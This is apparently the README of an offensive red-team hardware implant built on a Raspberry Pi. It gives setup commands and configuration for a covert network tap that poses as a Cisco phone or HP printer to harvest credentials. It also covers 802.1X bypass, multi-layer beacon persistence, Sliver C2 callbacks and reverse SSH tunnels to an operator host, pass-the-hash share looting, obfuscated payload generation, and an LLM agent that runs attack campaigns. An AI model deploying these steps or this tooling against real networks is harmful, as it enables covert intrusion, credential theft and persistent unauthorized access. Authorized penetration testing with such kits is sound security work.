Raccoon tap

TrashPandaPaws

Red Team network hardware implant built on a Raspberry Pi 4 with a custom PCB HAT, running ParrotOS (ARM64). Designed for authorized penetration testing engagements.

_{Every feature of the team server, captured from a running C2 with a real beacon checked in — see the demo tour for the detail.}

Overview

The Raccoon Implant is an inline Ethernet tap that bridges two network ports on a custom HAT and captures traffic transparently while providing remote C2 access. The entire device is powered via PoE from the upstream switch port. It presents itself as either a Cisco IP Phone or an HP network printer to blend into enterprise infrastructure.

Highlights

Architecture

graph LR
    SW["Switch Port<br/>(PoE 802.3af)"] -->|"RJ45 + PoE"| ETH0["Pi ETH0<br/>(upstream)"]
    ETH0 -->|"PoE Header J14"| POE["HAT PoE<br/>SI3402-B → TPS54302"]
    POE -->|"5V @ 3A"| PI["Raspberry Pi 4<br/>ParrotOS ARM64"]
    ETH0 <-->|"br0 bridge"| ETH1["HAT ETH1<br/>RTL8153B USB GbE"]
    ETH1 -->|"RJ45"| TGT["Target Device"]

    subgraph Raccoon HAT PCB
        POE
        ETH1
    end

    style SW fill:#4a9,stroke:#333,color:#fff
    style TGT fill:#e74,stroke:#333,color:#fff
    style PI fill:#47a,stroke:#333,color:#fff

graph TB
    subgraph Software Stack
        MAIN["main.py<br/>Orchestrator"] --> NAC["nac_bypass.py<br/>802.1X Bypass"]
        MAIN --> BRIDGE["bridge_tap.py<br/>L2 Bridge + Sniffer"]
        MAIN --> COVER["Cover Identity"]
        MAIN --> C2["C2 Channel"]
        MAIN --> EXFIL["Exfiltrator"]
        COVER --> CISCO["cisco_phone.py<br/>Cisco IP Phone 7960"]
        COVER --> HP["hp_printer.py<br/>HP LaserJet MFP M478"]
        C2 --> SLIVER["sliver.py<br/>Sliver Beacon (primary)"]
        C2 --> PYBCN["beacon.py<br/>Python Beacon (fallback)"]
        BRIDGE --> PCAP["pcap_writer.py<br/>Rotating PCAP"]
    end

    subgraph Persistence
        SYSD["systemd<br/>raccoon-implant.service"] --> MAIN
        BEACON_SVC["systemd<br/>raccoon-beacon.service"] --> C2_STANDALONE["beacon_standalone.py<br/>Sliver → Fallback"]
        CRON["crontab @reboot"] --> C2_STANDALONE
        RCLOCAL["rc.local"] --> C2_STANDALONE
    end

    style MAIN fill:#47a,stroke:#333,color:#fff
    style SLIVER fill:#c44,stroke:#333,color:#fff
    style C2_STANDALONE fill:#c44,stroke:#333,color:#fff

Hardware

Three build variants are available. Pick the one that fits your engagement:

Lite: Raspberry Pi + UniFi PoE Switch

Zero soldering, fully off-the-shelf. A Raspberry Pi 4 with a USB Ethernet adapter and an external UniFi PoE switch for power and connectivity. Ideal for lab testing, training, and quick field deployments where stealth is less critical.

graph LR
    UPLINK["Uplink Port<br/>(Target Network)"] -->|"RJ45"| UNIFI["UniFi USW-Flex-Mini<br/>PoE-powered switch"]
    UNIFI -->|"RJ45 → eth0"| PI["Raspberry Pi 4<br/>ParrotOS ARM64"]
    UNIFI -->|"PoE passthrough<br/>(or USB-C PSU)"| PI
    PI -->|"USB 3.0"| USB_ETH["USB GbE Adapter<br/>RTL8153 → eth1"]
    USB_ETH -->|"RJ45"| TGT["Target Device"]

    style UPLINK fill:#4a9,stroke:#333,color:#fff
    style TGT fill:#e74,stroke:#333,color:#fff
    style PI fill:#47a,stroke:#333,color:#fff
    style UNIFI fill:#888,stroke:#333,color:#fff

Shopping List:

Total: ~€95 without PoE injector. All parts are available from Amazon or similar retailers.

Power Options:

Advantages:

Disadvantages:

Quick Start (Lite):

# 1. Flash ParrotOS onto the SD card
# 2. Boot the Pi and connect the USB Ethernet adapter
sudo ./software/setup/bootstrap.sh
sudo ./software/setup/configure_bridge.sh
# Before installing: set c2.encryption_key in /opt/raccoon/configs/raccoon.yaml
# (sudo) to the key your team server runs with (--key). Make one with:
#   python3 -c "import os,base64; print(base64.b64encode(os.urandom(32)).decode())"
sudo ./services/install.sh        # warns if the key is missing or invalid

# 3. Connect UniFi switch uplink to target network, Pi to port 2, target device to port 3
sudo reboot

v1: Raspberry Pi 4 + Custom PoE HAT

The table above is the abandoned raccoon-hat design. hardware/bom.csv and hardware/netlist.yaml are not its BOM: they describe the replacement, raccoon-tap (below). PCB files: hardware/kicad/ holds both (raccoon-hat.* abandoned, raccoon-tap.* current), KiCad 10.

[!WARNING] The v1 HAT hardware is at concept stage and is not manufacturable as-is. A design audit on 2026-09-24 found that the schematic carries no usable connectivity, the board is unrouted, and the PoE front end is built around a part that cannot supply enough power for a Pi 4 with a USB peripheral. One documented connection would destroy the TPS54302 on power-up. Do not send these files to a fab house. The full findings, corrections applied so far and the open decisions are in hardware/OPEN_QUESTIONS.md.

The Lite variant above uses only off-the-shelf parts and is the working build today.

v2: Integrated Carrier Board (CM4)

Single-board design that replaces the Pi 4 + HAT stack with a Raspberry Pi Compute Module 4 carrier board. Everything on one 85×56mm 4-layer PCB.

graph LR
    SW["Switch Port<br/>(PoE 802.3af)"] -->|"RJ45 + PoE"| J1["J1 RJ45<br/>(upstream)"]
    J1 -->|"MDI 0-3"| CM4["CM4 Module<br/>BCM2711 quad A72<br/>ParrotOS / Kali"]
    J1 -->|"CT taps"| POE["SI3402-B → TPS54302<br/>PoE → 5V"]
    POE --> CM4
    CM4 -->|"USB 3.0"| RTL["RTL8153B<br/>USB-to-GbE"]
    RTL --> J2["J2 RJ45<br/>(downstream)"]
    J2 --> TGT["Target Device"]
    CM4 --> USBC["USB-C<br/>Debug/Flash"]

    subgraph "Raccoon v2 PCB (85×56mm, 4-layer)"
        J1; POE; CM4; RTL; J2; USBC
    end

    style SW fill:#4a9,stroke:#333,color:#fff
    style TGT fill:#e74,stroke:#333,color:#fff
    style CM4 fill:#47a,stroke:#333,color:#fff

Design guide: hardware/v2-integrated/design-guide.md BOM: hardware/v2-integrated/bom.csv

Shopping List for v1 HAT Components (Retail)

Additional retail parts needed alongside the v1 HAT PCB:

Note: The v1 HAT provides PoE power and the second Ethernet port on-board, so no USB adapter or USB-C PSU is needed in production. For lab testing without the HAT, use the Lite variant above.

Parts Sourcing (Electronic Distributors)

All ICs and passives for the custom PoE HAT PCB. Links point to manufacturer part pages on Mouser, DigiKey and LCSC. These are stable part-number URLs.

ICs & Active Components

Magnetics, Connectors & Diodes

Passives (Capacitors, Resistors, Inductors, LEDs)

Tip: Order passives (capacitors, resistors, LEDs) from LCSC. They ship from Shenzhen with low minimums and stock every Samsung/Yageo/Murata part. ICs and the transformer are easier to source from Mouser/DigiKey where authenticity is guaranteed.

Software

Features

Cover Modes

Set device_mode at the top of configs/raccoon.yaml to switch.

Cisco IP Phone 7960 Emulates Cisco Unified Communications login portal with SIP, RTP, and credential harvesting.

HP Color LaserJet Pro MFP M478 Emulates HP Embedded Web Server with JetDirect, LPD, IPP, SNMP, and Telnet services.

Both covers include credential harvesting, browser fingerprinting (Canvas, WebGL, WebRTC), and realistic device metadata with proper vendor OUI MAC addresses.

Quick Setup

Option A: Image Builder (recommended)

Build a ready-to-boot SD card from your workstation without any manual setup on the Pi. Runs on Linux, macOS, or WSL2.

# Flash SD card directly (interactive, confirms before writing)
sudo ./software/setup/build_image.sh /dev/sdX

# With WiFi for headless first boot
sudo ./software/setup/build_image.sh /dev/sdX --wifi MyNetwork:MyPassword

# With custom config and credentials
sudo ./software/setup/build_image.sh /dev/sdX \
  --config /path/to/raccoon.yaml \
  --user operator:s3cret \
  --wifi FieldOps:hunter2

# Build image only (don't flash)
sudo ./software/setup/build_image.sh --no-flash
# → .build/output/trashpandapaws-6.2.img

The image builder downloads ParrotOS ARM64, injects the Raccoon software and config, and creates a first-boot provisioning service that installs all dependencies, configures networking, and enables all services automatically. Insert the SD card, power on, wait ~5 minutes for first boot.

Option B: Manual setup

On a fresh ParrotOS ARM64 installation (Raspberry Pi 4):

sudo ./software/setup/bootstrap.sh       # system deps + ParrotOS hardening
sudo ./software/setup/configure_bridge.sh # bridge eth0 <-> eth1
sudo ./services/install.sh               # systemd + beacon persistence
sudo reboot                              # activates MAC spoof + bridge + beacon autorun

Set c2.encryption_key first. The implant has no default key and derives none: with c2.fallback.enabled on and no valid key in /opt/raccoon/configs/raccoon.yaml (edit with sudo), it refuses to start, and raccoon-beacon shows only "activating (auto-restart)" because that unit's output goes to /opt/raccoon/logs/beacon.log. Use the same base64 key as the team server's --key; make one with python3 -c "import os,base64; print(base64.b64encode(os.urandom(32)).decode())". install.sh checks this and warns before it enables anything.

After reboot the C2 beacon starts automatically via 5 independent persistence layers. No manual systemctl start is needed.

Beacon Persistence (Autorun)

graph TD
    BOOT["Pi Boot<br/>(ParrotOS)"] --> MAC["raccoon-macspoof.service<br/>MAC Spoofing"]
    MAC --> NET["Network Online"]

    NET --> SVC["Layer 1: systemd<br/>raccoon-beacon.service<br/>(30s delay)"]
    NET --> CRON["Layer 2: crontab<br/>@reboot<br/>(45s delay)"]
    NET --> RC["Layer 3: rc.local<br/>(60s delay)"]
    NET --> UDEV["Layer 4: udev<br/>on eth0 up<br/>(30s delay)"]

    SVC --> PID{"PID Lock<br/>/tmp/.raccoon_beacon.pid"}
    CRON --> PID
    RC --> PID
    UDEV --> PID

    PID -->|"first wins"| BEACON["beacon_standalone.py<br/>HTTPS + DNS C2"]
    PID -->|"duplicates exit"| SKIP["exit 0"]

    TIMER["Layer 5: systemd timer<br/>every 5 min"] -->|"if beacon dead"| SVC

    style BEACON fill:#c44,stroke:#333,color:#fff
    style PID fill:#fa0,stroke:#333,color:#000
    style TIMER fill:#47a,stroke:#333,color:#fff

The PID lock file prevents duplicate instances. Whichever layer starts first holds the lock and the rest exit silently. The systemd timer watchdog restarts the beacon if all instances die.

Why ParrotOS?

C2: Sliver Integration

The Raccoon Implant uses Sliver as the primary C2 framework. The custom Python beacon serves as a fallback if the Sliver binary is unavailable.

graph LR
    subgraph "Operator Machine"
        SERVER["Sliver Server"] -->|"generate beacon<br/>--os linux --arch arm64"| BIN["raccoon implant<br/>(Go binary)"]
    end

    BIN -->|"scp / staging URL"| PI["Raspberry Pi 4<br/>/opt/raccoon/bin/implant"]

    subgraph "Raccoon Implant (Target Network)"
        PI --> MGR["sliver.py<br/>SliverManager"]
        MGR -->|"primary"| SLIVER["Sliver Beacon<br/>mTLS / HTTPS / DNS"]
        MGR -->|"if binary missing"| FALLBACK["beacon.py<br/>Python Fallback<br/>HTTPS / DNS"]
    end

    SLIVER -->|"mTLS :8888<br/>HTTPS :443<br/>DNS"| SERVER
    FALLBACK -->|"HTTPS / DNS"| SERVER

    style SLIVER fill:#c44,stroke:#333,color:#fff
    style FALLBACK fill:#fa0,stroke:#333,color:#000
    style SERVER fill:#47a,stroke:#333,color:#fff

Deployment (on operator machine):

# Option 1: Interactive, opens Sliver console
./software/setup/deploy_sliver.sh generate

# Option 2: Automated, generates with defaults
./software/setup/deploy_sliver.sh generate-auto c2.example.com

# Deploy to implant device
./software/setup/deploy_sliver.sh deploy 192.168.1.100

# Or generate + deploy in one step
./software/setup/deploy_sliver.sh full c2.example.com 192.168.1.100

Recommended Sliver generate command:

generate beacon --os linux --arch arm64 \
  --mtls c2.example.com:8888 \
  --http c2.example.com \
  --dns c2.example.com \
  --seconds 300 --jitter 20 \
  --skip-symbols \
  --name raccoon \
  --save ./bin/implant

C2: Team Server (Operator GUI)

The Raccoon C2 Team Server is a Flask-based command & control server with an embedded single-page operator GUI. It manages beacon agents, provides an interactive terminal, and integrates offensive tooling for post-exploitation.

graph LR
    subgraph "Operator"
        BROWSER["Browser<br/>GUI on 127.0.0.1:8444"]
    end

    subgraph "Raccoon C2 Team Server"
        FLASK["Flask API<br/>+ Embedded GUI"]
        TOOLS["Server-Side Tools<br/>Impacket · NXC · Lsassy<br/>RelayKing · Responder"]
    end

    subgraph "Target Network"
        B1["Beacon 1<br/>(Raccoon Implant)"]
        B2["Beacon 2<br/>(Pivot Host)"]
    end

    BROWSER -->|"Bearer Token<br/>HTTPS"| FLASK
    FLASK <-->|"AES-256-GCM<br/>encrypted tasking<br/>on :8443"| B1
    FLASK <-->|"AES-256-GCM"| B2
    FLASK --- TOOLS

    style FLASK fill:#c44,stroke:#333,color:#fff
    style TOOLS fill:#47a,stroke:#333,color:#fff
    style B1 fill:#fa0,stroke:#333,color:#000
    style B2 fill:#fa0,stroke:#333,color:#000

Two sockets: the server listens twice over one application. Beacons call back to --host/--port (0.0.0.0:8443 by default), and that socket answers nothing but beacon traffic -- the GUI and the /api/* routes are not served there, whatever the path or token. The operator GUI and API are on --operator-host/--operator-port, 127.0.0.1:8444 by default, so open http://127.0.0.1:8444 on the server itself, or from another machine forward it over SSH first: ssh -L 8444:127.0.0.1:8444 <user>@<c2-host>, then open http://localhost:8444. Setting --operator-port equal to --port puts both back on one socket.

Signing in: the page is served without the operator token and asks for it once. The Token: line of the startup banner names the file it is kept in, operator-token in the data directory (mode 0600); the banner never prints the token itself. The file is rewritten at every start, whether the token was generated or supplied, and is not removed on exit: delete it if you do not want a copy left on disk. Once entered, the token is kept in that tab's sessionStorage and sent as an Authorization header, never in a URL, so it stays out of browser history, Referer headers and proxy logs. Closing the tab forgets it; a token the server rejects is forgotten at once and asked for again.

GUI Features:

Transport Protocols

The beacon supports four independent C2 transport channels, all implemented in pure Python stdlib with zero external dependencies. Multiple protocols can be enabled simultaneously; the beacon tries them in order and falls through to the next on failure.

flowchart LR
    B["🦝 Beacon"] --> HTTPS["HTTPS<br/>urllib POST<br/>port 443/8443"]
    HTTPS -->|fail| DNS["DNS<br/>raw socket TXT<br/>port 53"]
    DNS -->|fail| SMB["SMB<br/>named pipe IPC$<br/>port 445"]
    SMB -->|fail| QUIC["QUIC-style<br/>UDP datagrams<br/>port 4433"]
    QUIC -->|fail| SLEEP["💤 backoff"]

    HTTPS -->|success| OK["✔ tasking"]
    DNS -->|success| OK
    SMB -->|success| OK
    QUIC -->|success| OK

    style B fill:#c44,stroke:#333,color:#fff
    style OK fill:#4a9,stroke:#333,color:#fff
    style SLEEP fill:#555,stroke:#333,color:#fff

Malleable C2 Profiles

The team server includes a full Malleable C2 profile system that reshapes beacon traffic to mimic legitimate web services. Profiles control URIs, headers, User-Agent strings, metadata encoding chains, and TLS certificate parameters.

Beacon Generator

The GUI-based beacon generator produces fully configured, multi-layer obfuscated payloads:

Egress Proxy & NTLM Authentication

Enterprise networks rarely allow direct outbound connections. The beacon discovers and uses the host's proxy automatically, and can authenticate against proxies that demand NTLM.

NTLM proxy authentication: urllib (and WinINet) cannot perform NTLM proxy auth when the account lives in a different AD domain than the proxy. The beacon solves this with a loopback CONNECT relay: it listens on 127.0.0.1 on a random port, performs the full NTLMv2 handshake against the upstream proxy on a single keep-alive connection, then bridges the raw TCP tunnel.

graph LR
    B["🦝 Beacon<br/>urllib"] -->|"CONNECT via<br/>127.0.0.1:random"| RELAY["NTLM Relay<br/>(in-process)"]
    RELAY -->|"1. CONNECT (no auth)"| PX["Corporate Proxy<br/>(NTLM required)"]
    PX -->|"2. 407 + NTLM offer"| RELAY
    RELAY -->|"3. Type 1 negotiate"| PX
    PX -->|"4. 407 + Type 2 challenge"| RELAY
    RELAY -->|"5. Type 3 authenticate"| PX
    PX -->|"6. 200 Established"| RELAY
    RELAY -->|"raw TCP tunnel"| SRV["C2 Team Server"]

    style B fill:#c44,stroke:#333,color:#fff
    style RELAY fill:#fa0,stroke:#333,color:#000
    style PX fill:#888,stroke:#333,color:#fff
    style SRV fill:#47a,stroke:#333,color:#fff

The entire NTLMv2 implementation (including MD4, which hashlib does not provide) is pure stdlib, consistent with the rest of the beacon. Credentials accept DOMAIN\user, user@domain, or a separate domain field. The workstation name defaults to the target's real hostname rather than a static string.

c2:
  proxy:
    mode: "auto"          # auto | manual | none
    url: ""               # used when mode is manual
    ntlm:
      enabled: true
      host: ""            # empty = reuse the auto-discovered proxy
      port: 8080
      domain: "CORP"      # or inline as "CORP\\alice" in username
      username: "alice"
      password: "s3cret"
      workstation: ""     # empty = target hostname

Configurable via configs/raccoon.yaml for the implant, or per-payload in the GUI beacon generator. Use the proxyinfo beacon command to confirm which proxy and identity are in use at runtime.

SMBLoot (Pure-Python SMB2 Browser)

Browse, read, and download files from remote SMB shares directly from the beacon, without loading impacket or any other package on the target. The entire SMB2 protocol stack (negotiate, NTLMv2 auth, tree connect, create, read, query directory) is implemented with only socket, struct, hashlib, and hmac.

Pass-the-Hash is supported via LM:NT or bare NT hash format.

Integrated Offensive Tools:

AV/EDR Enumeration:

The server includes a built-in AV/EDR scanner based on NXC's enum_av module that remotely detects 35 endpoint protection products via Impacket (DCERPC LsarLookupNames, IPC$ pipe enumeration, SCM service queries). The beacon also has a local avenum command that checks running services, WMI SecurityCenter2, firewall rules, AMSI, and AppLocker on the compromised host.

Encryption:

All beacon communication uses AES-256-GCM authenticated encryption. The key is always supplied explicitly: the server needs --key <base64> and the beacon needs the same value as encryption_key, each exactly 32 bytes once decoded. There is no default and nothing is derived from the callback URL, so a server started without a key refuses to run. Make one with python3 -c "import os,base64; print(base64.b64encode(os.urandom(32)).decode())" (start_server.sh can generate one for you). Give it to the server in RACCOON_KEY rather than --key, and the operator token in RACCOON_TOKEN rather than --token: a command line is visible to every user on the machine in ps, an environment is not. The flags still work, and win over the variables when both are set. The server uses the cryptography library while the beacon calls OpenSSL via ctypes. Both implementations interoperate seamlessly.

Quick Start (Native)

# Linux / macOS
cd software/c2
./start_server.sh

# Windows (PowerShell)
cd software\c2
.\start_server.ps1

Both launchers take RACCOON_KEY and RACCOON_TOKEN from the environment (a --key/--token argument wins over its variable) and hand them to the server in its environment, not its arguments. The operator token is kept in ~/.raccoon-c2/operator-token (mode 0600) and the launcher prints that path.

The launcher checks and installs dependencies automatically (flask, cryptography, impacket, ldap3, netexec, lsassy), then prompts for host, port, encryption key, and operator token. The host and port it asks for are the beacon socket; the GUI is at http://127.0.0.1:8444, loopback only (--operator-host/--operator-port to change it, an SSH tunnel to reach it from elsewhere).

Quick Start (Docker)

cd software/c2

# A key is required: the container exits at start without one. Make one with
#   python3 -c "import os,base64; print(base64.b64encode(os.urandom(32)).decode())"
# and give the same value to the beacons' c2.encryption_key.
export RACCOON_KEY=<base64-key>

# Build and run
docker compose up -d

# With custom config
RACCOON_PORT=443 RACCOON_SSL=1 docker compose up -d

# View logs
docker compose logs -f raccoon-c2

The Docker image (python:3.12-slim) includes all tools pre-installed: Impacket, NetExec, Lsassy, RelayKing, and Responder. It runs with network_mode: host and NET_RAW/NET_ADMIN capabilities (required for Responder).

C2 GUI Demo

Operator dashboard with live agent sidebar and raccoon wallpaper

More Screenshots (click to expand)

Feature	Screenshot
Interactive Terminal
File Browser
Process Viewer (AV/EDR detection)
Pivot Map
Beacon Generator Pipeline
Malleable C2 Profile Editor
Profile Library
Beacon Config & Persistence
Impacket Tools
Responder
RelayKing NTLM Relay
SMBLoot
Netstat & Connection Assessment
Loot Vault
Server Log

Full walkthrough: docs/C2_DEMO.md — 23 sections covering every feature, command reference, Mermaid diagrams, and a full attack flow sequence diagram.

C2: Automated Attack (autonomous agent)

_{A campaign that actually ran: the approvals row behind this reads exploit_known_poc / refused / operator, and the knock card shows the arithmetic that produced it.}

An optional LLM-driven mode inside the operator GUI. The agent plans and runs a campaign against beacons you select, inside a scope you authorise, while you keep using the terminal beside it. Every action is recorded, and the ones that could cost the drop-box or the cover come to you as a question.

The agent asks before exploiting: the classifier's reason, the arbiter's arithmetic, and the decision left to the operator

export RACCOON_TOKEN=...          # must be fixed, not the random per-start one
export AGENT_PROVIDER=anthropic
export AGENT_MODEL=claude-sonnet-4-5
export AGENT_API_KEY=...
cd software/c2 && docker compose up --build

Configuration guide: docs/AGENT.md — providers and capability tiers, risk and OpSec profiles with measured numbers, the scope rules that surprise people, what the approval gate does and does not allow, budgets, what is logged, and a troubleshooting table of the traps that actually cost time.

802.1X NAC Bypass

The Raccoon Implant can bypass port-based Network Access Control (802.1X) by sitting inline between an authenticated device and the switch.

graph LR
    SW["Switch<br/>(802.1X enforced)"] -->|"eth0"| PI["Raccoon Implant<br/>br0 bridge"]
    PI -->|"eth1"| DEV["Authenticated<br/>Device"]

    subgraph "Phase 1: EAPOL forwarding"
        direction LR
        DEV -.->|"EAP frames"| PI -.->|"forwarded"| SW
    end

    subgraph "Phase 3: active bypass"
        direction LR
        PI -->|"victim MAC+IP"| SW
    end

    style PI fill:#c44,stroke:#333,color:#fff
    style SW fill:#4a9,stroke:#333,color:#fff
    style DEV fill:#47a,stroke:#333,color:#fff

How it works:

The victim's real traffic continues flowing through the bridge untouched.

Enable in config:

nac_bypass:
  enabled: true
  discovery_timeout: 120

Or run standalone:

sudo ./software/setup/nac_bypass.sh setup    # full automated bypass
sudo ./software/setup/nac_bypass.sh status   # show discovered hosts + rules
sudo ./software/setup/nac_bypass.sh reset    # tear down everything

Remote Access (SSH + VNC)

The implant establishes a reverse SSH tunnel back to an operator-controlled server, giving persistent shell access even behind NAT/firewalls. An optional VNC server (headless) provides a graphical desktop, accessible only through the SSH tunnel.

graph LR
    OP["Operator Machine"] -->|"ssh -p 2222<br/>root@localhost"| SRV["Operator SSH Server<br/>(public IP)"]
    SRV -->|"reverse tunnel<br/>port 2222"| PI["Raccoon Implant<br/>(target network)"]

    PI -.->|"autossh -R 2222:127.0.0.1:22"| SRV

    subgraph "Implant (localhost only)"
        SSHD["sshd :22"]
        VNC["x11vnc :5900"]
    end

    PI --- SSHD
    PI --- VNC

    style OP fill:#47a,stroke:#333,color:#fff
    style SRV fill:#4a9,stroke:#333,color:#fff
    style PI fill:#c44,stroke:#333,color:#fff

Install:

sudo ./software/setup/remote_access.sh install     # install + configure
sudo ./software/setup/remote_access.sh show-pubkey  # print key for operator server
sudo ./software/setup/remote_access.sh status       # check services

Access from operator machine:

# Shell access (on the operator SSH server):
ssh -p 2222 root@localhost

# VNC access (forward VNC port through the tunnel):
ssh -p 2222 -L 5900:127.0.0.1:5900 root@localhost
# then connect VNC viewer to localhost:5900

Both features are independently configurable in configs/raccoon.yaml:

remote_access:
  ssh:
    ssh_enabled: true
    ssh_remote_host: "c2.example.com"  # operator server
    ssh_remote_user: "raccoon"
    ssh_tunnel_port: 2222              # port on operator server
    ssh_key_type: "ed25519"            # auto-generated keypair
  vnc:
    vnc_enabled: false                 # enable for graphical access
    vnc_port: 5900
    vnc_password: "raccoon"
    vnc_resolution: "1024x768"

Configuration

Edit configs/raccoon.yaml before deployment. Set c2.encryption_key first: it has no default, and the implant will not start without a valid one while c2.fallback.enabled is on (see Set c2.encryption_key first above).

Cover Identity

Set device_mode at the top of raccoon.yaml to choose the device the implant impersonates. This single flag controls hostname, MAC prefix, and all protocol emulation. The cover sections below provide the detailed device specs.

# Top of raccoon.yaml. This single switch controls the entire setup.
device_mode: "cisco_phone"    # or "hp_printer"

Both covers include credential harvesting that captures login attempts and forwards them via notifications, browser fingerprinting using JavaScript-based recon covering Canvas, WebGL/GPU, WebRTC local IP, screen resolution, timezone, installed plugins, and hardware concurrency, plus realistic device metadata with MAC addresses from real vendor OUI ranges and proper protocol responses.

Tune service ports per cover in the same file:

  cisco_phone:
    http_port: 80
    sip_port: 5060
    rtp_port: 10000

  hp_printer:
    http_port: 80
    pjl_port: 9100
    lpd_port: 515
    ipp_port: 631
    snmp_port: 161
    telnet_port: 23

Notifications (Slack / Discord / Teams)

Captured credentials, browser fingerprints, and system events can be pushed to one or more webhook channels in real time.

notifications:
  enabled: true
  slack:
    enabled: true
    webhook_url: "https://hooks.slack.com/services/T.../B.../xxx"
  discord:
    enabled: true
    webhook_url: "https://discord.com/api/webhooks/123/abc"
  teams:
    enabled: true
    webhook_url: "https://your-tenant.webhook.office.com/webhookb2/..."

Setting up Microsoft Teams webhooks:

1. Open Microsoft Teams → select or create a channel for alerts
2. Click the ... menu on the channel → Connectors (or Manage channel → Connectors)
3. Search for Incoming Webhook → click Configure
4. Give it a name (e.g. "Raccoon Implant") and optionally upload an icon
5. Click Create → copy the webhook URL
6. Paste the URL into notifications.teams.webhook_url in raccoon.yaml

Note: Microsoft is migrating connectors to the Workflows app. If Incoming Webhook is unavailable, create a Power Automate flow instead:

1. Go to the channel → ... → Workflows
2. Choose "Post to a channel when a webhook request is received"
3. Copy the generated HTTP POST URL
4. Use that URL as webhook_url. The Raccoon Implant sends Adaptive Cards which both methods support.

All three platforms can be enabled simultaneously. Each credential capture, fingerprint, and health event is dispatched to all enabled channels.

Test Server

Test the cover identities locally without deploying to the Pi:

# Start both covers (non-privileged ports)
python -m software.tests.test_server

# Cisco only
python -m software.tests.test_server --cover cisco

# HP Printer only
python -m software.tests.test_server --cover printer

# With Teams notifications
python -m software.tests.test_server --cover printer \
  --teams-webhook "https://your-tenant.webhook.office.com/webhookb2/..."

# With multiple notification channels
python -m software.tests.test_server --cover both \
  --slack-webhook "https://hooks.slack.com/services/..." \
  --discord-webhook "https://discord.com/api/webhooks/..." \
  --teams-webhook "https://your-tenant.webhook.office.com/..."

The test server uses non-privileged ports (8080/8081 for HTTP, 15060 for SIP, etc.) so no root is needed. Endpoints and test commands are printed on startup.

On Windows, set PYTHONIOENCODING=utf-8 if box-drawing characters fail:

$env:PYTHONIOENCODING = "utf-8"
python -m software.tests.test_server --cover both

Project Structure

graph LR
    subgraph hardware
        KICAD["kicad/<br/>Schematic + PCB"]
        GERBER["gerber/<br/>Manufacturing"]
        BOM["bom.csv"]
    end

    subgraph software
        MAIN_PY["main.py"]
        subgraph sniffer
            BTAP["bridge_tap.py"]
            PCAPW["pcap_writer.py"]
        end
        subgraph cover
            CISCO_PY["cisco_phone.py"]
            HP_PY["hp_printer.py"]
        end
        subgraph c2
            SLIVER_PY["sliver.py"]
            BEACON_PY["beacon.py"]
            BEACON_SA["beacon_standalone.py"]
            EXFIL_PY["exfil.py"]
            SERVER_PY["server.py<br/>Team Server + GUI"]
            SMBLOOT_PY["smbloot.py<br/>Pure-Python SMB2"]

Legal

This tool is intended for use in authorized red team engagements only. Unauthorized use against networks you do not own or have explicit written permission to test is illegal. The authors assume no liability for misuse.